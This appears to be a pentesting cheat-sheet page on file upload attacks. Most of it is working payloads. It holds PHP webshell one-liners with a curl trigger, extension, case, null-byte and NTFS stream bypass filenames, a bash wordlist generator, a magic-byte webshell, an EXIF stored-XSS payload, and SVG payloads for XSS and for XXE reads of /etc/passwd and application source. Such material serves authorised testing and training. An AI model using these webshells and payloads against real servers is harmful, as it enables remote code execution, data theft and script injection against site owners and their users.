> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# File Upload Attacks

File upload features are one of the easiest ways to get full code execution on a server. If you can upload a script (like a PHP file) into a location the web server will run, you don't need any other vulnerability, you just need to get past whatever check decides which files are allowed. This page walks through bypassing those checks one at a time: the file extension, the content type, and the file's actual bytes.

> **Direct Upload → RCE**
>
> Upload a server-side script directly (webshell), then request it to execute. The straightforward case once the filter is bypassed.

> **Upload → Other Vulnerability**
>
> The uploaded file itself isn't code, but gets parsed somewhere (SVG renders in a browser, metadata gets displayed, an image gets processed by a vulnerable library) and that parsing step is what you're actually exploiting.

***

## Webshells

A webshell is the payload itself, a single file that takes a command via a parameter and executes it server-side. Match the language to the target stack, confirmed via your earlier recon. In the [Shells](https://0-x.dev/shells.md) page, you can find more about webshells and payload generation.

```php theme={null}
echo "<?php system($_GET['cmd']);?>" > shell.php
echo "<?php system($_REQUEST['cmd']); ?>" > shell.php
```

> [!TIP]
>
> `$_REQUEST` accepts the parameter via GET, POST, or cookie, slightly more flexible than `$_GET` if the upload directory blocks query strings for some reason or you need the command delivered a less obvious way.

Once uploaded, trigger it directly with the command in the query string.

```text theme={null}
curl http://SERVER_IP:PORT/shell.php?cmd=id
```

***

## Extension Filter Bypasses

> **Alternative extensions the filter didn't block**
>
> Most filters block `.php` but miss the full set of extensions a given web server will still happily execute as PHP.
>
> ```text theme={null}
> .php
> .php3
> .php4
> .php5
> .php7
> .phtml
> .phar
> .pht
> ```
>
> [SecLists' PHP extension list](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) covers this exhaustively, worth fuzzing the full set against the target rather than guessing one at a time.

> **Case manipulation**
>
> On case-insensitive filesystems (Windows) or a filter doing an exact-match blacklist, changing the case still resolves to the same handler.
>
> ```text theme={null}
> shell.PHP
> shell.PhP
> shell.pHp
> ```

> **Double extensions**
>
> Relies on the filter checking one extension (often matching the first dot it finds) while the web server's handler matches on a different one (often the last).
>
> ```text theme={null}
> shell.jpg.php
> shell.php.jpg
> ```
>
> > [!NOTE]
> >
> > Which one works depends entirely on how the target parses the filename, try both directions since server configs vary.

> **Trailing/special characters (legacy and Windows-specific)**
>
> **Null byte** (legacy PHP versions before 5.3.4 only): truncates the string at the null byte, dropping anything appended after it, including a forced extension.
>
> ```text theme={null}
> shell.php%00.jpg
> ```
>
> **Trailing dot** (Windows): Windows silently strips a trailing `.` when saving a file, so `shell.aspx.` gets written to disk as `shell.aspx`, bypassing a blacklist that only matches `.aspx` exactly.
>
> ```text theme={null}
> shell.aspx.
> ```
>
> **NTFS Alternate Data Streams**: colon notation creates a file under an alternate stream, `::$DATA` references the file's actual content stream and writes a non-empty file while the extension check sees something else entirely.
>
> ```text theme={null}
> shell.asp::$DATA
> ```

> **Custom fuzzing wordlist for extension-position tricks**
>
> Generates every combination of special character and extension position, covers the directory-path confusion trick below as well as straightforward extension-check bypasses in one wordlist.
>
> ```bash theme={null}
> for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
>     for ext in '.php' '.phps'; do
>         echo "shell$char$ext.jpg" >> wordlist.txt
>         echo "shell$ext$char.jpg" >> wordlist.txt
>         echo "shell.jpg$char$ext" >> wordlist.txt
>         echo "shell.jpg$ext$char" >> wordlist.txt
>     done
> done
> ```

> **Path confusion: treat the filename as a directory**
>
> If the extension itself can't be bypassed, check whether the upload directory structure can be abused instead, some configs will execute a file inside a path segment that merely contains the forbidden extension.
>
> ```text theme={null}
> shell.jpg.php
> ```
>
> ```text theme={null}
> http://TARGET.TLD/uploads/shell.jpg/shell.php?cmd=id
> ```

***

## Content-Type and MIME Bypasses

The `Content-Type` sent in the multipart upload request is simply a header provided by the client, which can be easily modified regardless of what the file actually contains..

```text theme={null}
Content-Type: image/jpeg
```

> [!TIP]
>
> [SecLists' full content-type list](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt) is worth narrowing down before fuzzing. A quick one-liner to filter grep all image types:
>
> ```text theme={null}
> cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
> ```

***

## Magic Byte Bypasses

Some filters go a step further and check the file's actual leading bytes rather than trusting the extension or Content-Type. Prepending a valid image signature while keeping the malicious payload after it defeats this, most libraries checking the signature don't bother validating the rest of the file matches that format.

| Format | Magic Bytes (hex) |
| - | - |
| PNG | `89 50 4E 47` |
| JPEG | `FF D8 FF` |
| GIF | `47 49 46` |

```text theme={null}
GIF89a;<?php system($_GET['cmd']); ?>
```

[Full list of file signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) if the target checks for a format not covered above. Try various magic bytes to bypass the file-upload.

***

## Image Metadata Attacks

If the application displays an image's metadata back to a user (a photo gallery, an EXIF viewer), injecting a payload into a metadata field turns to an stored XSS.

```bash theme={null}
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' malicous.jpg
```

Check if the payload was injected.

```bash theme={null}
exiftool malicous.jpg
```

***

## SVG Attacks

SVG is XML, and browsers execute `<script>` tags inside an SVG rendered directly, making it a reliable XSS vector when upload validation only checks "is this a valid image format."

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

XML in SVG\`s also supports external entities, turning an upload into an XXE vector for local file read. See [XEE (XML External Entitiy)](https://0-x.dev/xxe.md) for various techniques.

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

> [!TIP]
>
> If the target is PHP and raw file read via XXE doesn't work cleanly, pulling the file through PHP's base64 filter wrapper instead often sidesteps encoding issues with binary/non-UTF8 content (see the [LFI & RFI page](https://0-x.dev/lfi-and-rfi-directory-traversal.md) for more on PHP wrappers).
>
> ```xml theme={null}
> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
> ```

***

## Quick Reference Tools

> **[Hackviser: File Upload](https://hackviser.com/tactics/pentesting/web/file-upload)**
>
> Reference used for this page.

> **[HackTricks: File Upload](https://hacktricks.wiki/en/pentesting-web/file-upload/index.html)**
>
> Deeper dive into additional bypasses and edge cases.

> **[List of File Signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)**
>
> Full magic byte reference for any format.

> **[SecLists: Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)**
>
> General web extension wordlist.

> **[PayloadsAllTheThings: PHP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst)**
>
> Exhaustive PHP-executable extension list.

> **[fuxploider](https://github.com/almandin/fuxploider)**
>
> Automated file upload vulnerability scanning and exploitation.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.